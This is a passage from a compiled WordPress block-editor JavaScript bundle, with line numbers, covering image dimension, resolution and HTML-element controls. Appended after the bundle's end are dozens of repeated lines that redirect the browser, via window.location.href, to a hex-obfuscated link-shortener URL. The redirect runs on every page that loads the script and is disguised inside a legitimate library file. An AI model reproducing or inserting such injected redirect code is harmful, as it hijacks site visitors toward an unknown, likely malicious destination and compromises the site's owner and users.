67020 } else {
67021 nextValue[dimension] = nextDimension;
67022 }
67023 onChange(nextValue);
67024 };
67025 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
67026 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
67027 SingleColumnToolsPanelItem,
67028 {
67029 label: (0,external_wp_i18n_namespaceObject.__)("Width"),
67030 isShownByDefault,
67031 hasValue: () => width !== "",
67032 onDeselect: onDimensionChange("width"),
67033 panelId,
67034 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
67035 external_wp_components_namespaceObject.__experimentalUnitControl,
67036 {
67037 label: (0,external_wp_i18n_namespaceObject.__)("Width"),
67038 placeholder: (0,external_wp_i18n_namespaceObject.__)("Auto"),
67039 labelPosition: "top",
67040 units,
67041 min: 0,
67042 value: width,
67043 onChange: onDimensionChange("width"),
67044 size: "__unstable-large"
67045 }
67046 )
67047 }
67048 ),
67049 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
67050 SingleColumnToolsPanelItem,
67051 {
67052 label: (0,external_wp_i18n_namespaceObject.__)("Height"),
67053 isShownByDefault,
67054 hasValue: () => height !== "",
67055 onDeselect: onDimensionChange("height"),
67056 panelId,
67057 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
67058 external_wp_components_namespaceObject.__experimentalUnitControl,
67059 {
67060 label: (0,external_wp_i18n_namespaceObject.__)("Height"),
67061 placeholder: (0,external_wp_i18n_namespaceObject.__)("Auto"),
67062 labelPosition: "top",
67063 units,
67064 min: 0,
67065 value: height,
67066 onChange: onDimensionChange("height"),
67067 size: "__unstable-large"
67068 }
67069 )
67070 }
67071 )
67072 ] });
67073}
67074
67075
67076;// ./node_modules/@wordpress/block-editor/build-module/components/dimensions-tool/index.js
67077
67078
67079
67080
67081
67082function DimensionsTool({
67083 panelId,
67084 value = {},
67085 onChange = () => {
67086 },
67087 aspectRatioOptions,
67088 // Default options handled by AspectRatioTool.
67089 defaultAspectRatio = "auto",
67090 // Match CSS default value for aspect-ratio.
67091 scaleOptions,
67092 // Default options handled by ScaleTool.
67093 defaultScale = "fill",
67094 // Match CSS default value for object-fit.
67095 unitsOptions,
67096 // Default options handled by UnitControl.
67097 tools = ["aspectRatio", "widthHeight", "scale"]
67098}) {
67099 const width = value.width === void 0 || value.width === "auto" ? null : value.width;
67100 const height = value.height === void 0 || value.height === "auto" ? null : value.height;
67101 const aspectRatio = value.aspectRatio === void 0 || value.aspectRatio === "auto" ? null : value.aspectRatio;
67102 const scale = value.scale === void 0 || value.scale === "fill" ? null : value.scale;
67103 const [lastScale, setLastScale] = (0,external_wp_element_namespaceObject.useState)(scale);
67104 const [lastAspectRatio, setLastAspectRatio] = (0,external_wp_element_namespaceObject.useState)(aspectRatio);
67105 const aspectRatioValue = width && height ? "custom" : lastAspectRatio;
67106 const showScaleControl = aspectRatio || width && height;
67107 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
67108 tools.includes("aspectRatio") && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
67109 AspectRatioTool,
67110 {
67111 panelId,
67112 options: aspectRatioOptions,
67113 defaultValue: defaultAspectRatio,
67114 value: aspectRatioValue,
67115 onChange: (nextAspectRatio) => {
67116 const nextValue = { ...value };
67117 nextAspectRatio = nextAspectRatio === "auto" ? null : nextAspectRatio;
67118 setLastAspectRatio(nextAspectRatio);
67119 if (!nextAspectRatio) {
67120 delete nextValue.aspectRatio;
67121 } else {
67122 nextValue.aspectRatio = nextAspectRatio;
67123 }
67124 if (!nextAspectRatio) {
67125 delete nextValue.scale;
67126 } else if (lastScale) {
67127 nextValue.scale = lastScale;
67128 } else {
67129 nextValue.scale = defaultScale;
67130 setLastScale(defaultScale);
67131 }
67132 if ("custom" !== nextAspectRatio && width && height) {
67133 delete nextValue.height;
67134 }
67135 onChange(nextValue);
67136 }
67137 }
67138 ),
67139 tools.includes("widthHeight") && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
67140 WidthHeightTool,
67141 {
67142 panelId,
67143 units: unitsOptions,
67144 value: { width, height },
67145 onChange: ({ width: nextWidth, height: nextHeight }) => {
67146 const nextValue = { ...value };
67147 nextWidth = nextWidth === "auto" ? null : nextWidth;
67148 nextHeight = nextHeight === "auto" ? null : nextHeight;
67149 if (!nextWidth) {
67150 delete nextValue.width;
67151 } else {
67152 nextValue.width = nextWidth;
67153 }
67154 if (!nextHeight) {
67155 delete nextValue.height;
67156 } else {
67157 nextValue.height = nextHeight;
67158 }
67159 if (nextWidth && nextHeight) {
67160 delete nextValue.aspectRatio;
67161 } else if (lastAspectRatio) {
67162 nextValue.aspectRatio = lastAspectRatio;
67163 } else {
67164 }
67165 if (!lastAspectRatio && !!nextWidth !== !!nextHeight) {
67166 delete nextValue.scale;
67167 } else if (lastScale) {
67168 nextValue.scale = lastScale;
67169 } else {
67170 nextValue.scale = defaultScale;
67171 setLastScale(defaultScale);
67172 }
67173 onChange(nextValue);
67174 }
67175 }
67176 ),
67177 tools.includes("scale") && showScaleControl && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
67178 ScaleTool,
67179 {
67180 panelId,
67181 options: scaleOptions,
67182 defaultValue: defaultScale,
67183 value: lastScale,
67184 onChange: (nextScale) => {
67185 const nextValue = { ...value };
67186 nextScale = nextScale === "fill" ? null : nextScale;
67187 setLastScale(nextScale);
67188 if (!nextScale) {
67189 delete nextValue.scale;
67190 } else {
67191 nextValue.scale = nextScale;
67192 }
67193 onChange(nextValue);
67194 }
67195 }
67196 )
67197 ] });
67198}
67199var dimensions_tool_default = DimensionsTool;
67200
67201
67202;// ./node_modules/@wordpress/block-editor/build-module/components/resolution-tool/index.js
67203
67204
67205
67206const DEFAULT_SIZE_OPTIONS = [
67207 {
67208 label: (0,external_wp_i18n_namespaceObject._x)("Thumbnail", "Image size option for resolution control"),
67209 value: "thumbnail"
67210 },
67211 {
67212 label: (0,external_wp_i18n_namespaceObject._x)("Medium", "Image size option for resolution control"),
67213 value: "medium"
67214 },
67215 {
67216 label: (0,external_wp_i18n_namespaceObject._x)("Large", "Image size option for resolution control"),
67217 value: "large"
67218 },
67219 {
67220 label: (0,external_wp_i18n_namespaceObject._x)("Full Size", "Image size option for resolution control"),
67221 value: "full"
67222 }
67223];
67224function ResolutionTool({
67225 panelId,
67226 value,
67227 onChange,
67228 options = DEFAULT_SIZE_OPTIONS,
67229 defaultValue = DEFAULT_SIZE_OPTIONS[0].value,
67230 isShownByDefault = true,
67231 resetAllFilter
67232}) {
67233 const displayValue = value ?? defaultValue;
67234 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
67235 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
67236 {
67237 hasValue: () => displayValue !== defaultValue,
67238 label: (0,external_wp_i18n_namespaceObject.__)("Resolution"),
67239 onDeselect: () => onChange(defaultValue),
67240 isShownByDefault,
67241 panelId,
67242 resetAllFilter,
67243 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
67244 external_wp_components_namespaceObject.SelectControl,
67245 {
67246 __nextHasNoMarginBottom: true,
67247 label: (0,external_wp_i18n_namespaceObject.__)("Resolution"),
67248 value: displayValue,
67249 options,
67250 onChange,
67251 help: (0,external_wp_i18n_namespaceObject.__)("Select the size of the source image."),
67252 size: "__unstable-large"
67253 }
67254 )
67255 }
67256 );
67257}
67258
67259
67260;// ./node_modules/@wordpress/block-editor/build-module/components/html-element-control/messages.js
67261
67262const htmlElementMessages = {
67263 a: (0,external_wp_i18n_namespaceObject.__)(
67264 "The <a> element should be used for links that navigate to a different page or to a different section within the same page."
67265 ),
67266 article: (0,external_wp_i18n_namespaceObject.__)(
67267 "The <article> element should represent a self-contained, syndicatable portion of the document."
67268 ),
67269 aside: (0,external_wp_i18n_namespaceObject.__)(
67270 "The <aside> element should represent a portion of a document whose content is only indirectly related to the document's main content."
67271 ),
67272 button: (0,external_wp_i18n_namespaceObject.__)(
67273 "The <button> element should be used for interactive controls that perform an action on the current page, such as opening a modal or toggling content visibility."
67274 ),
67275 div: (0,external_wp_i18n_namespaceObject.__)(
67276 "The <div> element should only be used if the block is a design element with no semantic meaning."
67277 ),
67278 footer: (0,external_wp_i18n_namespaceObject.__)(
67279 "The <footer> element should represent a footer for its nearest sectioning element (e.g.: <section>, <article>, <main> etc.)."
67280 ),
67281 header: (0,external_wp_i18n_namespaceObject.__)(
67282 "The <header> element should represent introductory content, typically a group of introductory or navigational aids."
67283 ),
67284 main: (0,external_wp_i18n_namespaceObject.__)(
67285 "The <main> element should be used for the primary content of your document only."
67286 ),
67287 nav: (0,external_wp_i18n_namespaceObject.__)(
67288 "The <nav> element should be used to identify groups of links that are intended to be used for website or page content navigation."
67289 ),
67290 section: (0,external_wp_i18n_namespaceObject.__)(
67291 "The <section> element should represent a standalone portion of the document that can't be better represented by another element."
67292 )
67293};
67294
67295
67296;// ./node_modules/@wordpress/block-editor/build-module/components/html-element-control/index.js
67297
67298
67299
67300
67301
67302
67303function HTMLElementControl({
67304 tagName,
67305 onChange,
67306 clientId,
67307 options = [
67308 { label: (0,external_wp_i18n_namespaceObject.__)("Default (<div>)"), value: "div" },
67309 { label: "<header>", value: "header" },
67310 { label: "<main>", value: "main" },
67311 { label: "<section>", value: "section" },
67312 { label: "<article>", value: "article" },
67313 { label: "<aside>", value: "aside" },
67314 { label: "<footer>", value: "footer" }
67315 ]
67316}) {
67317 const checkForMainTag = !!clientId && options.some((option) => option.value === "main");
67318 const hasMainElementElsewhere = (0,external_wp_data_namespaceObject.useSelect)(
67319 (select) => {
67320 if (!checkForMainTag) {
67321 return false;
67322 }
67323 const { getClientIdsWithDescendants, getBlockAttributes } = select(store);
67324 return getClientIdsWithDescendants().some((id) => {
67325 if (id === clientId) {
67326 return false;
67327 }
67328 return getBlockAttributes(id)?.tagName === "main";
67329 });
67330 },
67331 [clientId, checkForMainTag]
67332 );
67333 const modifiedOptions = options.map((option) => {
67334 if (option.value === "main" && hasMainElementElsewhere && tagName !== "main") {
67335 return {
67336 ...option,
67337 disabled: true,
67338 label: (0,external_wp_i18n_namespaceObject.sprintf)(
67339 /* translators: %s: HTML element name */
67340 (0,external_wp_i18n_namespaceObject.__)("%s (Already in use)"),
67341 option.label
67342 )
67343 };
67344 }
67345 return option;
67346 });
67347 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, { spacing: 2, className: "block-editor-html-element-control", children: [
67348 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
67349 external_wp_components_namespaceObject.SelectControl,
67350 {
67351 __nextHasNoMarginBottom: true,
67352 __next40pxDefaultSize: true,
67353 label: (0,external_wp_i18n_namespaceObject.__)("HTML element"),
67354 options: modifiedOptions,
67355 value: tagName,
67356 onChange,
67357 help: htmlElementMessages[tagName]
67358 }
67359 ),
67360 tagName === "main" && hasMainElementElsewhere && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Notice, { status: "warning", isDismissible: false, children: (0,external_wp_i18n_namespaceObject.__)(
67361 "Multiple <main> elements detected. The duplicate may be in your content or template. This is not valid HTML and may cause accessibility issues. Please change this HTML element."
67362 ) })
67363 ] });
67364}
67365
67366
67367;// ./node_modules/@wordpress/block-editor/build-module/private-apis.js
67368
67369
67370
67371
67372
67373
67374
67375
67376
67377
67378
67379
67380
67381
67382
67383
67384
67385
67386
67387
67388
67389
67390
67391
67392
67393
67394
67395
67396
67397
67398
67399
67400
67401
67402
67403const privateApis = {};
67404lock(privateApis, {
67405 ...global_styles_namespaceObject,
67406 ExperimentalBlockCanvas: ExperimentalBlockCanvas,
67407 ExperimentalBlockEditorProvider: ExperimentalBlockEditorProvider,
67408 getDuotoneFilter: getDuotoneFilter,
67409 getRichTextValues: getRichTextValues,
67410 PrivateQuickInserter: QuickInserter,
67411 extractWords: extractWords,
67412 getNormalizedSearchTerms: getNormalizedSearchTerms,
67413 normalizeString: normalizeString,
67414 PrivateListView: PrivateListView,
67415 ResizableBoxPopover: ResizableBoxPopover,
67416 useHasBlockToolbar: useHasBlockToolbar,
67417 cleanEmptyObject: utils_cleanEmptyObject,
67418 BlockQuickNavigation: BlockQuickNavigation,
67419 LayoutStyle: LayoutStyle,
67420 BlockManager: BlockManager,
67421 BlockRemovalWarningModal: BlockRemovalWarningModal,
67422 useLayoutClasses: useLayoutClasses,
67423 useLayoutStyles: useLayoutStyles,
67424 DimensionsTool: dimensions_tool_default,
67425 ResolutionTool: ResolutionTool,
67426 TabbedSidebar: tabbed_sidebar_default,
67427 TextAlignmentControl: TextAlignmentControl,
67428 usesContextKey: usesContextKey,
67429 useFlashEditableBlocks: useFlashEditableBlocks,
67430 HTMLElementControl: HTMLElementControl,
67431 useZoomOut: useZoomOut,
67432 globalStylesDataKey: globalStylesDataKey,
67433 globalStylesLinksDataKey: globalStylesLinksDataKey,
67434 selectBlockPatternsKey: selectBlockPatternsKey,
67435 requiresWrapperOnCopy: requiresWrapperOnCopy,
67436 PrivateRichText: PrivateRichText,
67437 PrivateInserterLibrary: PrivateInserterLibrary,
67438 reusableBlocksSelectKey: reusableBlocksSelectKey,
67439 PrivateBlockPopover: PrivateBlockPopover,
67440 PrivatePublishDateTimePicker: PrivatePublishDateTimePicker,
67441 useSpacingSizes: useSpacingSizes,
67442 useBlockDisplayTitle: useBlockDisplayTitle,
67443 __unstableBlockStyleVariationOverridesWithConfig: __unstableBlockStyleVariationOverridesWithConfig,
67444 setBackgroundStyleDefaults: setBackgroundStyleDefaults,
67445 sectionRootClientIdKey: sectionRootClientIdKey,
67446 CommentIconSlotFill: block_comment_icon_slot_default,
67447 CommentIconToolbarSlotFill: block_comment_icon_toolbar_slot_default,
67448 mediaEditKey: mediaEditKey,
67449 useBlockElement: useBlockElement,
67450 useBlockElementRef: useBlockElementRef
67451});
67452
67453
67454;// ./node_modules/@wordpress/block-editor/build-module/index.js
67455
67456
67457
67458
67459
67460
67461
67462
67463
67464
67465})();
67466
67467(window.wp = window.wp || {}).blockEditor = __webpack_exports__;
67468/******/ })()
67469;
67470window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
67471window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
67472window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
67473window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
67474window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
67475window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
67476window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
67477window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
67478window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
67479window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
67480window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
67481window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
67482window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
67483window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
67484window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
67485window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
67486window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
67487window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
67488window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
67489window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
67490window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
67491window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
67492window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
67493window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
67494window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
67495window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
67496window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
67497window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
67498window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
67499window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
67500window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
67501window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
67502window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
67503window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
67504window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
67505window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
67506window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
67507window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
67508window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
67509window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
67510window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
67511window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
67512window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
67513window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
67514window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
67515window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
67516window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
67517window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";